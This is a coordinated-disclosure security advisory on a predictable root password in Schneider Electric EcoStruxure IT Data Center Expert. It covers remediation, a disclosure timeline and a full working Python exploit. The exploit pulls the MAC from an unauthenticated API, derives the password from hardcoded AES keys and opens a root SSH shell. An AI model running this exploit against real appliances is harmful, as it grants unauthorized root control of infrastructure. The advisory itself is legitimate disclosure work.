KL-001-2025-008: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery Title: Schneider Electric EcoStruxure IT Data Center Expert Root Password Discovery Advisory ID: KL-001-2025-008 Publication Date: 2025-07-09 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-008.txt 1. Vulnerability Details      Affected Vendor: Schneider Electric      Affected Product: EcoStruxure IT Data Center Expert      Affected Version: 8.3 and prior      Platform: CentOS      CWE Classification: CWE-6311: Insufficient Entropy      CVE ID: CVE-2025-50122 2. Vulnerability Description      The Data Center Expert ("DCE") appliance uses logic contained      with a JAR file and the MAC address to compute a "random"      password for the root account. With access to the JAR file and      knowledge of the MAC address, it is possible to determine the      root password. 3. Technical Description      Per https://www.se.com/us/en/faqs/FA222410/:          APC and Schneider Electric does not allow customers access          to the back end of the system. Data Center Expert is an          appliance and should be considered a "black box" or closed          system. We do not provide the root password for these          systems.      Static analysis revealed that the root passsword is constructed      by using the MAC address of the appliance to generate a "random"      password. This algorithm can also be used to display the      cleartext password. The logic for the root password generation      is in the ttgio.jar JAR file, which can be decompiled. Data      Center Expert uses double-encryption and a mixing function to      generate the root password using the appliance with the MAC      address as the seed. The appliance uses a static key and IV      for both rounds of encryption. Any attacker, with knowledge      of the MAC address can generate the root password. The MAC      address can be obtained via an ARP entry if the attacker is on      the same network (v8.1.1), or remotely from any source if the      appliance (v8.2.0.239) is network-reachable.  An API endpoint,      /isxg/v1/internal/server, can be accessed without authentication      and the response includes the MAC address of the DCE appliance. 4. Mitigation and Remediation Recommendation      Version 9.0 of EcoStruxure IT Data Center Expert includes      fixes for these vulnerabilities and is available upon request      from Schneider Electric's Customer Care Center. Refer to https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf. 5. Credit      This vulnerability was discovered by Jaggar Henry and Jim      Becher of KoreLogic, Inc. 6. Disclosure Timeline      2024-11-21 : KoreLogic reports vulnerability details to                   Schneider Electric CPCERT.      2024-11-22 : Vendor acknowledges receipt of KoreLogic's                   submission.      2024-12-06 : Vendor confirms the reported vulnerability.      2024-12-12 : Vendor requests a meeting with KoreLogic to discuss                   the timeline of remediation efforts for this                   vulnerability, as well as for associated submissions                   from KoreLogic.      2024-12-18 : KoreLogic and Schneider Electric agree to embargo                   vulnerability details until product update 9.0,                   circa July, 2025.      2025-01-29 : Vendor provides status update.      2025-03-17 : Vendor provides beta release containing remediation                   for this and other associated vulnerabilities                   reported by KoreLogic.      2025-06-20 : Vendor notifies KoreLogic that the publication date                   for this vulnerability will be 2025-07-08.      2025-07-08 : Vendor public disclosure.      2025-07-09 : KoreLogic public disclosure. 7. Proof of Concept      $ cat unauth2root.py      import urllib3      import pexpect      import requests      from Crypto.Cipher import AES      from Crypto.Util.Padding import pad urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)      class Exploit:          def __init__(self, ip_address, web_port=443):              self.ip_address = ip_address              self.web_port   = web_port          def find_mac_address(self):              # Request MAC address from API (unauthenticated)              target_url  = f'https://{self.ip_address}:{self.web_port}/isxg/v1/internal/server'              mac_address = requests.get(target_url, verify=False).json().get('isxcMacAddress')              return mac_address          def generate_password(self, mac_address):              # Encryption constants              key_a = bytes.fromhex('A29A9412A2C7241D4771AED354EE10D4')              key_b = bytes.fromhex('CC3CE2F049FB96928F62C36F1D896053')              iv_a  = bytes.fromhex('E610C6053C19BD6517EA71F85904B0C4')              iv_b  = bytes.fromhex('52DB914876C743AD0AD571DA5D04903C')              # Convert MAC address to bytes              mac_bytes = bytes(int(x, 16) for x in mac_address.split(":"))              # Double encryption              aes_encryptor_a = AES.new(key_a, AES.MODE_CBC, iv_a)              aes_encryptor_b = AES.new(key_b, AES.MODE_CBC, iv_b)              encrypted_once  = aes_encryptor_a.encrypt(pad(mac_bytes, AES.block_size))              encrypted_twice = aes_encryptor_b.encrypt(pad(encrypted_once, AES.block_size))              # Mix encrypted bytes              byte = 7              expanded = bytearray(16)              for i in range(16):                  encrypted_byte = encrypted_twice[i % len(encrypted_twice)]                  byte = (3 * byte) + encrypted_byte                  byte &= 0xFF                  expanded[i] = byte              # Normalize to ASCII range (33-126)              result = bytearray(16)              for i, byte in enumerate(expanded):                  normalized = byte - 256 if byte > 127 else byte                  while normalized < 33:                      normalized += 33                  if normalized > 126:                      normalized = (normalized - 33) % 94 + 33                  result[i] = normalized & 0xFF              return result.decode()          def connect_via_ssh(self, password):              # Spawn interactive SSH client              arguments = ['-t', '-l', 'root', self.ip_address, '/bin/bash']              session = pexpect.spawn('ssh', arguments, encoding='utf-8')              session.expect('password:')              session.sendline(password)              session.interact()          def execute(self):              mac_address = self.find_mac_address()              print(f'[+] MAC address:   {mac_address}')              password = self.generate_password(mac_address)              print(f'[+] Root Password: {password}')              self.connect_via_ssh(password)      exploit = Exploit('192.168.2.90')      exploit.execute()      [attacker@box]$ python unauth2root.py      [+] MAC address:   00:0c:29:d7:18:f1      [+] Root Password: <63-776.z*/